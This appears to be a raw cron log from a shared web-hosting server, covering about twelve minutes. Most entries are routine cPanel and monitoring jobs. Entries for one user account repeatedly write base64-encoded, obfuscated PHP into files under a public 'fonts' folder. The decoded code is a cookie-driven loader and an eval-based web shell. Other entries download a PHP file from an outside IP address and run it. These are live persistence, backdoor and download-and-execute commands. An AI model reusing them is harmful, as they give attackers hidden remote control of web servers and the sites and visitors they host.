Sep  6 22:21:01 ip-184-168-122-23 CROND[5058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:22:01 ip-184-168-122-23 CROND[5133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:22:01 ip-184-168-122-23 CROND[5132]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:22:01 ip-184-168-122-23 CROND[5134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:22:01 ip-184-168-122-23 CROND[5135]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:22:01 ip-184-168-122-23 CROND[5136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:23:01 ip-184-168-122-23 CROND[5311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:23:01 ip-184-168-122-23 CROND[5313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:23:01 ip-184-168-122-23 CROND[5314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:23:01 ip-184-168-122-23 CROND[5315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:24:01 ip-184-168-122-23 CROND[5388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:24:01 ip-184-168-122-23 CROND[5389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:24:01 ip-184-168-122-23 CROND[5391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:24:01 ip-184-168-122-23 CROND[5392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:24:01 ip-184-168-122-23 CROND[5393]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:25:01 ip-184-168-122-23 CROND[5492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:25:01 ip-184-168-122-23 CROND[5494]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 22:25:01 ip-184-168-122-23 CROND[5496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:25:01 ip-184-168-122-23 CROND[5495]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  6 22:25:01 ip-184-168-122-23 CROND[5497]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 22:25:01 ip-184-168-122-23 CROND[5498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:25:01 ip-184-168-122-23 CROND[5499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:26:02 ip-184-168-122-23 CROND[5618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:26:02 ip-184-168-122-23 CROND[5619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:26:02 ip-184-168-122-23 CROND[5625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:26:02 ip-184-168-122-23 CROND[5624]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:26:02 ip-184-168-122-23 CROND[5623]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:27:01 ip-184-168-122-23 CROND[5706]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:27:01 ip-184-168-122-23 CROND[5708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:27:01 ip-184-168-122-23 CROND[5707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:27:01 ip-184-168-122-23 CROND[5709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:28:01 ip-184-168-122-23 CROND[5808]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:28:01 ip-184-168-122-23 CROND[5813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:28:01 ip-184-168-122-23 CROND[5810]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:28:01 ip-184-168-122-23 CROND[5811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:28:01 ip-184-168-122-23 CROND[5812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:29:01 ip-184-168-122-23 CROND[5888]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:29:01 ip-184-168-122-23 CROND[5890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:29:01 ip-184-168-122-23 CROND[5891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:29:01 ip-184-168-122-23 CROND[5892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:30:01 ip-184-168-122-23 CROND[6067]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 22:30:01 ip-184-168-122-23 CROND[6070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:30:01 ip-184-168-122-23 CROND[6072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:30:01 ip-184-168-122-23 CROND[6071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:30:01 ip-184-168-122-23 CROND[6076]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 22:30:01 ip-184-168-122-23 CROND[6079]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:30:01 ip-184-168-122-23 CROND[6077]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:30:01 ip-184-168-122-23 CROND[6078]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 22:31:01 ip-184-168-122-23 CROND[6183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:31:01 ip-184-168-122-23 CROND[6187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:31:01 ip-184-168-122-23 CROND[6185]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 22:31:01 ip-184-168-122-23 CROND[6188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:31:01 ip-184-168-122-23 CROND[6186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:32:01 ip-184-168-122-23 CROND[6267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:32:01 ip-184-168-122-23 CROND[6270]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:32:01 ip-184-168-122-23 CROND[6271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:32:01 ip-184-168-122-23 CROND[6269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:32:01 ip-184-168-122-23 CROND[6272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:33:01 ip-184-168-122-23 CROND[6357]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:33:01 ip-184-168-122-23 CROND[6359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:33:01 ip-184-168-122-23 CROND[6360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:33:01 ip-184-168-122-23 CROND[6361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
